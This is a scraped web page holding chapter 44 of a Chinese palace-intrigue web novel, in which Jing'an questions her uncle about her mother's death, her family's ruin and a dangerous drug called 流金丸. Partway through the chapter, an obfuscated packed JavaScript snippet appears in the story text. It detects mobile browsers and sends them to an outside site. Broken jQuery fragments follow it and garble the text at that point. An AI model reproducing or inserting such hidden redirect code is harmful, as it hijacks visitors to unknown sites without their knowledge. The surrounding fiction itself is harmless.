默认冷灰
24号文字
方正启体

44. 第 44 章

作者:石旦本书字数:K更新时间:
    “我努力让自己在辽国活下来,插手家中的生意,待有了些势力后,我派探子去燕国皇宫查看。


    就在我以为能联系上姐姐的时候,探子全都断了消息,石沉大海,我只能祈求,祈求她们是互相喜欢,姐姐是幸福的。”


    “我日夜跪求神明,求他保佑姐姐,但宫中还是传来姐姐去世的消息,甚至没有葬礼,是户籍被登记死亡时,才被我的人所知,将消息传与我。”


    文度秋死死盯着地面,咬牙切齿地问静安:“他连个葬礼都不给她,就这么静悄悄地让她死了,为什么?为什么还要带走她,又将她锁在深宫,天上地下无处寻,让她,让她……死去了?”


    静安坐在对面,文度秋眼眶发红,已然是憋了许久,在崩溃的边缘,静安突然很想哭,他文度秋想发疯找姐姐,难道静安不想念母亲吗?


    她的母亲,是天下最温柔的女子。她擅丹青,写得一手好字,懂得许多民俗故事,喜欢鬼神传说。


    每日会关心她的身体,虽然唠叨,虽然有时会突然沉默,但她真的,真的很好。


    母亲的离开,是静安永远的潮湿,在阴暗的角落中一点点腐烂,每次只要碰到,便沾了满身,无论如何都清洗不掉。


    “母亲是自己选择的死亡,太医说,母亲没有求生的欲望。”静安觉得鼻子发酸,但控制着不让眼泪流下来。


    文度秋怔怔地看着静安,半晌突然想到什么,痛哭流涕。


    “是我!是我……我当时应该冒着被发现的风险去找她,去救她,让她离开那个吃人的地方。是我,是我懦弱,是我惧怕唐景瀚,我害怕他,我一想到他,便想到姐姐大婚那天,我害怕他赐死姐姐,我不敢放开了去找姐姐,我只能躲在暗处,姐姐,姐姐……”


    静安不置可否,她无权评价文度秋,没有人能面不改色地走出灭族的阴影。


    但她亦懂得母亲到死都怀揣着对家人的愧疚,她以为自己的弟弟还在恨自己,恨自己轻信男人,恨自己葬送全族。


    她以为弟弟不原谅,便在临终将玉佩交到自己手上,为的便是静安将来能离开皇宫,替自己道歉。


    静安双手掩面,深吸了口气,然后对着文度秋扬起一个笑脸:“母亲若是知道,您并不怪她,想必会开心的。”


    两人沉默良久,文度秋在自责中久久不能抽离,静安只得补充道:“我出生后很少见唐景瀚,他只将母亲养在琅月轩,直到现在,我亦不懂他,不懂他究竟想要什么。


    也许母亲的选择是正确的,她离开对她而言是解脱,我祝福她,希望她来世能被人真心相待。至于今生的债,我会去讨要的。”


    文度秋没理解静安的深意,但也是明白静安在宽慰自己,沉默良久,静安问出了那个困扰自己多年的问题:“文家,还有什么秘密吗?”


    文度秋似乎是没反应过来,下意识问了句:“什么?”


    静安没想藏着掖着,直截了当地将当年的事情摊开:“母亲死前,唐景翰便一直想从她口中知晓文家的秘密。母亲死后,唐景翰将矛头对准了我,固执地认为,我一定知道些什么。”


    静安抬眸,眼底是文度秋看不清的情绪,过往的记忆如潮水般涌来,带着逼仄的空气和刺骨的寒冷,将她淹没在所有不堪的回忆中。


    “什么秘密,文家不过是小门小户,何来秘密?”


    文度秋苦苦思索,全然没有说谎的神态,静安见状,垂头叹气,看来文度秋确实年幼,以至于对家中事务只有零星模糊的情绪记忆。


    静安顿了下,换了个问法:“那您可知,流金丸。”


    文度秋意外静安怎会提起如此危险之物,急忙道:“这是害人的东西,你,你莫非?”


    静安连连摆手:“没有没有没有,这东西与文家,与当下,有着千丝万缕的联系,正巧有人找我帮忙,特来查探一番。您当真对这东西毫无印象吗?”


    文度秋被静安说得晕头转向,皱眉苦思,却想不出来什么有用的线索


    “舅舅?您真的不知道?”静安直视文度秋的双眼,似乎要洞悉他眼底的迷雾。


    文度秋被静安突如其来的“舅舅”打得不知所措,瞬间涨红了脸,连连咳嗽:“安安啊,我,舅舅我,怎么了吗?莫说是我,就是萧家长老,目前都不知此物动向,你为何这般问。”


    “流金丸的生产地,就是文家的老宅。我听舅舅说,整个西山都是文家的药田,以前家里完全没有提到过吗?”


    文度秋一下子清醒起来,他起身来回踱步:“不可能,绝对不可能,我幼时虽从未见过这等害人的东西,即使是当时行医环境苛刻,我文家也从未买过这些。你是说……”


    “唐景瀚为何与母亲吵起来?他来文家的目的,就是发现了文家投敌叛国的证据?”


    “没有!文家没有通敌,是母亲,也是你外祖母。


    她是辽国人,更是辽国皇室的支系,但当时与父亲成婚时,她已经入了文家户籍,后来父亲为了保护她,便辞官归乡。


    但唐景瀚不肯放过文家,他污蔑我们屯田养兵,投敌叛国,可父亲生前只是一个小小的巡抚。唐景瀚在先皇那不得宠,便自己给自己立功绩。”说着,文度秋越想越气将茶杯重重摔在桌子上。


    静安摇头,她了解唐景瀚。


    因为,他们是一类人,污蔑是有成本和风险的,为此特地欺骗感情,付出时间和精力,一定等到大婚这天,太麻烦了,这点利益,不值得下如此大的一盘棋。


    “舅舅,当年,还有什么异常吗?你能否好好回忆一下。”


    文度秋似乎陷入回忆中,静安自知是问不出什么,便想让文度秋回去休息:“舅舅,您要不休息一下?”


    文度秋意识到自己失了分寸,正不知如何找补,此时管家来报,说药熬好了,见话题岔开,便想留静安用午膳。


    “不了,今天发生的事情太多,我想回去好好梳理一下,改日再来看您。”


    沈珏本以为今天静安要留下来,已经准备好在文度秋府上多待些时日,甚至思考过如果静安要住在自己舅舅家,自己搬过来,是否有些厚脸皮。


    就在沈珏琢磨这附近有没有空闲的宅子时,转身便瞧见静安快步朝自己走来。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315486|182973||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “嗯?这是?”沈珏有些呆滞,在后面留人的萧云从也愣住了,招手似乎是想挽留。


    “我们走吧。”静安走到沈珏身边,只留下几个字,便头也不回地向门口走去,沈珏没有犹豫,没有疑问,跟上静安的步子,两人就这么离开了。


    马车内摇摇晃晃,静安掀开车帘,双目空洞地盯着街道:“沈珏,我是不是很不知礼数?”


    “嗯?胡说,怎么可能呢?”沈珏眼睛瞪得老大。


    静安没有回应,苦笑道:“我其实,不想见舅舅。”她说着两眼发酸,眼球向上转动,沈珏知道她这副模样怕是想流泪,手忙脚乱地从身上找帕子。


    “我不知道为什么,明明,那是我最后的亲人了。但是我不想与他多待,甚至……甚至我也不知道自己怎么了。”


    这是什么样的感觉呢?十多年来遭受的折磨无人知晓,待到以为终于可以有人倾诉时,却发现对方根本无处知晓,一瞬间,所有委屈都成了笑话。


    那深宫中无数个日夜,数不尽的白眼与殴打,就在静安以为终于能有一个答案时,却被现实轻巧揭过了。


    静安断断续续的哭诉,有前世的经验,沈珏一开始对文度秋便没什么好感,但静安主动提出想来,他便依着静安来辽国,想来总能给静安带来些许慰藉,但事与愿违。


    他抱着静安,轻轻拍着她的后背,一下一下地小心哄着。


    马车行驶得并不快,静安情绪平复下来后,两人还没到家,沈珏问静安,想不想找个酒楼品尝一下正宗的辽国菜,却被静安拒绝了。


    “先回去,今日事情繁多,我需要消化一下。”


    “是文先生,说什么不好的了吗?”


    静安意识到自己的表现让沈珏担心了,连忙否认:“不是,与我想象的,有些差距,不过还好。只是眼下有些猜测,舅舅当年还小,记忆模糊,我等明日再来询问。”


    静安将文度秋的记忆大概和沈珏复述了下,虽然已经尽可能精简,但还是将沈珏吓了一大跳。


    “怪不得娴嫔娘娘从来不受宠,文鸾是他耻辱历史的见证,是他作为皇子时肮脏不堪的过往,人总会逃避并且包装自己,真恶心啊。”


    沈珏在一旁打抱不平,静安却出奇的安静,沈珏还以为她沉浸在文度秋的事情中无法自拔,正想说点什么,静安却打断了他。


    “我知道,我理解唐景瀚,因为我同他一样。”静安云淡风轻地对自己说着最恶毒的诅咒,曾经对于父亲这一角色的憧憬,渐渐地认清现实的痛苦,母亲死后对于父亲的憎恶,以及长大后的无力。


    这种根植于血脉中的,无法洗脱的罪孽,终于在某一天,被自己发现,并且驱使着她,成为自己最讨厌的人。


    “所以我不相信,他只是为了污蔑一个辞官归乡的巡抚,动用如此大的阵仗,这其中,一定更大的利益。”


    “比如,文家的私产中,有一处山脉,生长有流金丸的原料,因其气候特殊,只有那里有。”


    “什么?”沈珏有些吃惊,静安这次猜测过于大胆,沈珏心中咯噔一下,“你的意思是?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)